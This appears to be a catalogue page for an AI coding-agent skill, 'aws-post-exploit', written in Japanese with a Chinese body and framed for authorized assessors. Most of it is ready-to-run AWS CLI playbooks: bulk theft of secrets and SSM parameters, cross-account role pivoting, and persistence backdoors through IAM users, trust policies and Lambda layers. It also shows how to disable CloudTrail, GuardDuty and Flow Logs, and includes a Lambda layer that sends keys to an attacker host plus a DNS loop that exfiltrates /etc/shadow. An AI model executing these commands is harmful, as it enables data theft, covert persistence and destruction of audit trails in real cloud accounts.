aws-post-exploit について
セキュリティ評価担当者向けの AWS ポストエクスプロイトスキルです。データの発見・窃取、横展開、永続化、痕跡の消去を段階別にまとめ、詳細な参考資料も用意しています。
主な機能
- 01データの発見と窃取の手法
- 02アカウント・リージョン・サービス間の横展開
- 03IAMやLambdaなどでの永続化手法
- 04CloudTrailとGuardDutyの回避に関する説明
- 05コマンドと個別の参考資料
活用シーン
- 01許可された評価でAWSの重要データを探す
- 02アカウント間のロールとリソースアクセス経路を分析する
- 03永続化設定と検知対象を評価する
- 04AWSポストエクスプロイトのコマンドを参照する
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill aws-post-exploitインストール後、Claude Code で/aws-post-exploitを入力して読み込まれたか確認します。
同梱ファイルreferences/data-exfiltration.mdreferences/persistence-backdoor.md
詳細
AWS における侵入後と永続化の手法
AWS 環境で権限昇格を完了すると、攻撃は侵入後の段階に入ります。従来のペネトレーションテストとは異なり、クラウド環境の侵入後には特有の課題があります。データは数十ものマネージドサービス(S3/RDS/DynamoDB/SecretsManager など)に分散しており、横方向の移動はネットワーク層の踏み台ではなく、アカウントをまたぐロールチェーンが中心です。永続化のためのバックドアは IAM キー、EventBridge ルール、Lambda Layer などの形を取り、すべての操作が CloudTrail の監視下にあります。
基本的な考え方:クラウドにおける侵入後の活動は「API 駆動型」です。操作の一つひとつが API 呼び出しであり、ログに記録されます。そのため、攻撃者は「価値の獲得」と「ノイズの制御」のバランスを取る必要があります。このスキルは、データの発見と窃取 → 横方向の移動 → 永続化 → 痕跡の消去、という 4 つのフェーズで構成されています。
詳細なリファレンス
具体的な侵入後のシナリオを特定したら、対応するリファレンス文書を読み込んで、技術的な詳細を確認します。
- 各サービスのデータ窃取コマンドと手法(S3/EBS/RDS/DynamoDB/Lambda/Secrets など)→ references/data-exfiltration.md を参照
- 永続化バックドアの全手法(IAM/Lambda/EC2/EventBridge/SNS/CloudTrail の回避など)→ references/persistence-backdoor.md を参照
Phase 1: データの発見と窃取
高い権限を取得した後、最初の目標は価値の高いデータを発見して窃取することです。次の判断ツリーに従って、対象のサービスを選択します。
数据在哪里?
├─ 对象存储
│ ├─ S3 Bucket → 批量下载 / 设为公开 / 跨账户复制
│ └─ Glacier/Deep Archive → RestoreObject 恢复后下载
│
├─ 数据库
│ ├─ RDS → 快照导出到 S3 / 重置密码直连 / 只读副本
│ ├─ DynamoDB → Scan 全表 / 导出到 S3 / Stream 实时捕获
│ ├─ Redshift → 跨账户快照共享 / Zero-ETL 复制
│ └─ ElastiCache → 快照导出 / 连接直读
│
├─ 块存储 / 磁盘
│ ├─ EBS 快照 → 跨账户共享快照 / 直接读取块级数据
│ ├─ EBS Multi-Attach → 只读挂载到攻击者实例
│ └─ AMI → CreateStoreImageTask 导出到 S3
│
├─ 凭据 / 密钥
│ ├─ SecretsManager → BatchGetSecretValue 批量提取
│ ├─ SSM Parameter Store → GetParametersByPath 递归获取
│ └─ Lambda 环境变量 → GetFunction 提取运行时凭据
│
├─ 日志 / 监控
│ ├─ CloudWatch Logs → FilterLogEvents 搜索敏感信息
│ └─ RDS 日志 → DownloadDBLogFilePortion 导出 SQL 日志
│
└─ 代码 / 配置
├─ CodeCommit → 克隆代码仓库
├─ Lambda 代码 → GetFunction 下载部署包
└─ S3 中的 Terraform State → 明文凭据和资源信息
価値の高いデータソースの早見表
| データソース | 主な API / コマンド | 価値 |
|---|---|---|
| S3 Bucket | aws s3 sync s3://bucket ./loot/ | バックアップ、ログ、設定、認証情報 |
| EBS スナップショット | aws ec2 create-snapshot → アカウント間で共有 | ファイルシステム全体 |
| RDS スナップショット | aws rds create-db-snapshot → 公開/アカウント間で共有 | 本番データベース |
| DynamoDB | aws dynamodb scan --table-name X | 業務データ |
| SecretsManager | aws secretsmanager batch-get-secret-value | データベースのパスワード、API Key |
| SSM Parameters | aws ssm get-parameters-by-path --path / --recursive | 設定、認証情報 |
| Lambda 環境変数 | aws lambda get-function --function-name X | 実行時認証情報 |
| CloudWatch Logs | aws logs filter-log-events --filter-pattern "password" | アプリケーションから漏えいした機密情報 |
データをすばやく発見するコマンド
# 1. 枚举所有 S3 Bucket
aws s3 ls
# 检查 Bucket 策略和 ACL
aws s3api get-bucket-policy --bucket <name>
aws s3api get-bucket-acl --bucket <name>
# 2. 搜索 S3 中的敏感文件
aws s3 ls s3://<bucket>/ --recursive | grep -iE '\.env|credential|secret|\.pem|\.key|backup|\.sql'
# 3. 批量提取 Secrets
aws secretsmanager list-secrets --query 'SecretList[].Name'
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# 4. 递归获取 SSM 参数
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}'
# 5. 提取 Lambda 环境变量(含临时凭据)
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
echo "=== $fn ==="
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables'
done
→ references/data-exfiltration.md を参照
Phase 2: 横方向の移動
AWS での横方向の移動は、アカウント間、リージョン間、サービス間の 3 つの方向で発生します。
横向移动路径
├─ 跨账户移动
│ ├─ OrganizationAccountAccessRole(管理账户 → 成员账户)
│ │ └─ aws sts assume-role --role-arn arn:aws:iam::<member>:role/OrganizationAccountAccessRole
│ ├─ 跨账户信任角色(宽松 Principal)
│ │ └─ 枚举所有角色信任策略 → 发现 Principal: * 或外部账户
│ └─ 跨账户资源策略(S3/KMS/SNS/SQS)
│ └─ 检查资源策略中的 Allow 跨账户操作
│
├─ 跨区域移动
│ ├─ RDS 跨区域自动备份复制 → 在冷门区域恢复数据库
│ ├─ DynamoDB Global Table → 添加新区域副本
│ ├─ EBS 快照跨区域复制 → 在目标区域创建实例
│ └─ S3 跨区域复制规则
│
└─ 跨服务 / 网络移动
├─ SSM → EC2(SendCommand / StartSession)
├─ EC2 Instance Connect Endpoint → 私有实例 SSH
├─ ECS Agent 冒充 → 窃取同宿主机所有任务角色
├─ VPC Peering / VPN → 直连被害 VPC
└─ VPC 流量镜像 → 被动嗅探网络流量
アカウント間の AssumeRole 列挙
# 枚举当前账户所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
trust=$(aws iam get-role --role-name "$role" \
--query 'Role.AssumeRolePolicyDocument' --output json 2>/dev/null)
# 检查是否允许外部账户或 *
echo "$trust" | grep -qE '"AWS":\s*"\*"|:iam::[0-9]{12}:' && \
echo "[!] $role: $trust"
done
# Organizations:从管理账户枚举所有成员账户
aws organizations list-accounts --query 'Accounts[].{Id:Id,Name:Name,Status:Status}'
# 尝试切换到成员账户的默认管理角色
aws sts assume-role \
--role-arn "arn:aws:iam::<member_account_id>:role/OrganizationAccountAccessRole" \
--role-session-name lateral
EC2 Instance Connect による横方向の移動
# 创建 EC2 Instance Connect Endpoint(用于访问私有子网实例)
aws ec2 create-instance-connect-endpoint \
--subnet-id <private-subnet-id> \
--security-group-ids <sg-id>
# 注入临时 SSH 公钥并连接
aws ec2-instance-connect send-ssh-public-key \
--instance-id <i-xxx> \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -o ProxyCommand='aws ec2-instance-connect open-tunnel \
--instance-id %h' ec2-user@<i-xxx>
SSM による横方向の移動
# 列出所有受 SSM 管理的实例
aws ssm describe-instance-information \
--query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Role:IamRole}'
# 在目标实例上执行命令
aws ssm send-command \
--instance-ids <i-xxx> \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && whoami"]'
# 端口转发(SSM 隧道)
aws ssm start-session --target <i-xxx> \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["3306"],"localPortNumber":["3306"]}'
Phase 3: 永続化
永続化の主な目的は、認証情報がローテーションされたり、最初の侵入経路が修正されたりしても、AWS 環境へのアクセスを維持することです。
永続化手法の判断表
| 手法 | 隠密性 | 永続性 | 必要な権限 | 検出難易度 |
|---|---|---|---|---|
| IAM バックドアユーザー + Access Key | 低 | 永続(削除されるまで) | iam:CreateUser + iam:CreateAccessKey | 低(IAM の監査で見つかりやすい) |
| IAM ロールの信頼ポリシーにバックドアを仕込む | 中 | 永続 | iam:UpdateAssumeRolePolicy | 中(信頼ポリシーの監査が必要) |
| IAM ポリシーのバージョンにバックドアを仕込む | 高 | 永続 | iam:CreatePolicyVersion | 高(過去のバージョンはあまり確認されない) |
| STS Role Chain Juggling | 高 | 一時認証情報を自動更新 | sts:AssumeRole(ロールチェーンを循環させる) | 高(正常な機能を悪用) |
| Lambda Layer/Extension バックドア | 高 | Layer が削除されるまで | lambda:PublishLayerVersion + lambda:UpdateFunctionConfiguration | 高(コード監査でしか見つからない) |
| Lambda エイリアスの重み付けルーティング | 高 | エイリアスが変更されるまで | lambda:CreateAlias / lambda:UpdateAlias | 非常に高(1% のトラフィックはほとんど見えない) |
| Lambda の非同期自己ループ | 高 | 継続(自動的に再トリガー) | lambda:UpdateFunctionConfiguration(destination) | 高 |
| EC2 UserData バックドア | 中 | インスタンスが置き換えられるまで | ec2:ModifyInstanceAttribute | 中(UserData の内容を確認) |
| EC2 AMI バックドア | 高 | 後続のインスタンスに引き継がれる | ec2:CreateImage | 高(AMI の内容はあまり監査されない) |
| EventBridge の定期ルール | 中 | 継続(定期的にトリガー) | events:PutRule + events:PutTargets | 中(ルールを列挙できる) |
| SNS サブスクリプションの乗っ取り | 高 | 継続 | sns:Subscribe | 高(サブスクリプションはあまり確認されない) |
| SSM Association の定期実行 | 中 | 継続(定期実行) | ssm:CreateAssociation | 中 |
| CloudTrail の停止 | - | 他の操作を隠す | cloudtrail:StopLogging | 低(GuardDuty が直ちに警告) |
| GuardDuty の回避 | 高 | 他の操作を隠す | guardduty:* | 手法による |
IAM 永続化のクイック操作
# 1. 创建后门用户
aws iam create-user --user-name svc-backup-agent
aws iam attach-user-policy --user-name svc-backup-agent \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name svc-backup-agent
# 2. 后门角色信任策略(允许外部账户 AssumeRole)
aws iam update-assume-role-policy --role-name AdminRole \
--policy-document '{
"Version":"2012-10-17",
"Statement":[{
"Effect":"Allow",
"Principal":{"AWS":["arn:aws:iam::<attacker_account>:root"]},
"Action":"sts:AssumeRole"
}]
}'
# 3. 策略版本后门(在非默认版本中隐藏 Admin 权限)
aws iam create-policy-version --policy-arn <policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--no-set-as-default
# 后续需要时切换为默认版本
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2
Lambda による永続化(5 つの方法)
# 方法 1: Lambda Layer 注入后门代码
# 创建包含恶意初始化代码的 Layer
mkdir -p /tmp/layer/python && cat > /tmp/layer/python/backdoor.py << 'PYEOF'
import os, urllib.request
urllib.request.urlopen(f"https://<attacker>/exfil?key={os.environ.get('AWS_ACCESS_KEY_ID','')}")
PYEOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version --layer-name monitoring-ext \
--zip-file fileb:///tmp/layer/layer.zip --compatible-runtimes python3.9 python3.10 python3.11
aws lambda update-function-configuration --function-name <target_fn> \
--layers arn:aws:lambda:<region>:<account>:layer:monitoring-ext:1
# 方法 2: Lambda 别名权重分流(1% 流量路由到后门版本)
aws lambda publish-version --function-name <fn> --description "backdoor"
# 假设后门版本号为 2,合法版本为 3
aws lambda update-alias --function-name <fn> --name prod \
--routing-config '{"AdditionalVersionWeights":{"2":0.01}}'
# 方法 3: AWS_LAMBDA_EXEC_WRAPPER 环境变量 + Layer
# 通过 Layer 部署 /opt/bin/wrapper.sh,在 handler 之前执行
aws lambda update-function-configuration --function-name <fn> \
--environment 'Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}'
# 方法 4: 异步自循环(Destination 自触发)
aws lambda update-function-configuration --function-name <fn> \
--destination-config '{"OnSuccess":{"Destination":"arn:aws:lambda:<region>:<acct>:function:<fn>"}}'
aws lambda put-function-recursion-config --function-name <fn> \
--recursive-loop Allow
# 方法 5: 资源策略后门(隐藏版本的跨账户 Invoke 权限)
aws lambda add-permission --function-name <fn> --qualifier 1 \
--statement-id backdoor --action lambda:InvokeFunction \
--principal <attacker_account_id>
EventBridge の定期実行による永続化
# 创建定时规则,每 6 小时触发恶意 Lambda
aws events put-rule --name "sys-health-check" \
--schedule-expression "rate(6 hours)" \
--state ENABLED
aws events put-targets --rule "sys-health-check" \
--targets '[{"Id":"1","Arn":"arn:aws:lambda:<region>:<acct>:function:<backdoor_fn>"}]'
# 授权 EventBridge 调用 Lambda
aws lambda add-permission --function-name <backdoor_fn> \
--statement-id eventbridge --action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:<region>:<acct>:rule/sys-health-check
→ references/persistence-backdoor.md を参照
Phase 4: 痕跡の消去と検出の回避
CloudTrail の回避
CloudTrail は AWS の中核的な監査システムであり、すべての管理イベントが記録されます。攻撃者には、これを弱体化させる方法がいくつかあります。
# 1. 直接停止日志记录(最粗暴,GuardDuty 会立即告警)
aws cloudtrail stop-logging --name <trail_name>
# 2. 删除 Trail(需先停止)
aws cloudtrail delete-trail --name <trail_name>
# 3. 修改 Trail 的 S3 Bucket(指向攻击者控制的桶或不存在的桶)
aws cloudtrail update-trail --name <trail_name> \
--s3-bucket-name <attacker_bucket_or_nonexistent>
# 4. 通过 S3 Lifecycle 规则自动删除日志文件
aws s3api put-bucket-lifecycle-configuration \
--bucket <cloudtrail_bucket> \
--lifecycle-configuration '{
"Rules":[{
"ID":"cleanup","Status":"Enabled",
"Filter":{"Prefix":"AWSLogs/"},
"Expiration":{"Days":1}
}]
}'
# 5. 禁用 CloudTrail Insights(减少异常检测能力)
aws cloudtrail put-insight-selectors --trail-name <trail> \
--insight-selectors '[]'
# 6. 减少数据事件记录(停止记录 S3/Lambda 数据事件)
aws cloudtrail put-event-selectors --trail-name <trail> \
--event-selectors '[{"ReadWriteType":"WriteOnly","IncludeManagementEvents":true,"DataResources":[]}]'
OPSEC に関するヒント:CloudTrail を直接停止すると、GuardDuty の Stealth:IAMUser/CloudTrailLoggingDisabled アラートが発生します。より目立ちにくい方法は、S3 Lifecycle ルールを変更してログをすぐに失効させるか、イベントセレクターを変更して記録対象の範囲を狭めることです。
GuardDuty の回避
| 方法 | コマンド | リスク |
|---|---|---|
| Detector を削除 | aws guardduty delete-detector --detector-id <id> | 非常に高い(Organization レベルで阻止される可能性があります) |
| Trusted IP List を追加 | aws guardduty create-ip-set --detector-id <id> --format TXT --location s3://<bucket>/ips.txt --activate | 中(自身の IP からの操作ではアラートが発生しなくなります) |
| Finding をアーカイブ | aws guardduty archive-findings --detector-id <id> --finding-ids <ids> | 中(過去のアラートが消えます) |
| 自動アーカイブ Filter | aws guardduty create-filter --detector-id <id> --name suppress --action ARCHIVE --finding-criteria ... | 高(以降のアラートが自動的にアーカイブされます) |
| メンバーアカウントを一時停止 | aws guardduty disassociate-members --detector-id <id> --account-ids <member> | 高(メンバーアカウントが監視対象から外れます) |
VPC Flow Logs の回避
# 删除 Flow Logs
aws ec2 delete-flow-logs --flow-log-ids <fl-xxx>
# 或将 Flow Logs 指向攻击者控制的 S3 桶
aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> \
--traffic-type ALL --log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker_bucket>
AWS Config 规避
# 停止 Config Recorder(停止配置变更追踪)
aws configservice stop-configuration-recorder --configuration-recorder-name default
# 删除 Delivery Channel
aws configservice delete-delivery-channel --delivery-channel-name default
DNS 数据外传(绕过网络隔离)
即使 EC2 实例完全锁定了出站流量,DNS 查询仍然可以外传数据:
# VPC Flow Logs 不记录 DNS 流量
# 通过 DNS TXT 查询外传数据
data=$(cat /etc/shadow | base64 | tr -d '\n')
for chunk in $(echo "$data" | fold -w 60); do
dig "$chunk.exfil.attacker.com" TXT +short
done
关闭 DNS 外传:aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
注意事项
操作安全(OPSEC)关键点
- 高危 CloudTrail 事件:
StopLogging、DeleteTrail、CreateUser、CreateAccessKey、PutBucketPolicy(公开化)、ModifyDBInstance(密码重置)、ModifySnapshotAttribute(共享快照) - GuardDuty 高置信度告警:
Stealth:IAMUser/CloudTrailLoggingDisabled— CloudTrail 被禁用UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS— EC2 角色凭据在外部使用Exfiltration:S3/AnomalousBehavior— S3 异常大量读取Persistence:IAMUser/AnomalousBehavior— IAM 异常操作
- 速率控制:AWS API 有速率限制(通常 5-20 次/秒),大规模枚举时注意节流
- 区域覆盖:资源是区域隔离的。窃取数据时需遍历所有启用区域(
aws ec2 describe-regions)
推荐工具
| 工具 | 用途 | 命令 |
|---|---|---|
| Pacu | AWS 利用框架(枚举/提权/后渗透/持久化) | run post_exploitation__s3_download |
| CloudFox | 攻击路径发现 | cloudfox aws --profile <p> all-checks |
| AWSRoleJuggler | Role Chain Juggling 持久化 | ./aws_role_juggler.py -r role1 role2 |
| Dufflebag | EBS 快照自动搜索凭据 | dufflebag search --region <r> |
| CloudShovel | AMI 中搜索敏感信息 | 自动启动实例扫描 |
| S3Scanner | S3 Bucket 枚举与数据发现 | s3scanner scan --bucket <name> |
交叉引用
- 参考
aws-pentesting技能,获取 AWS 整体攻击流程 - 参考
aws-iam-privesc技能,获取权限提升路径(后渗透前置阶段) - 参考
cloud-aksk-exploit技能,获取 AK/SK 凭据完整利用链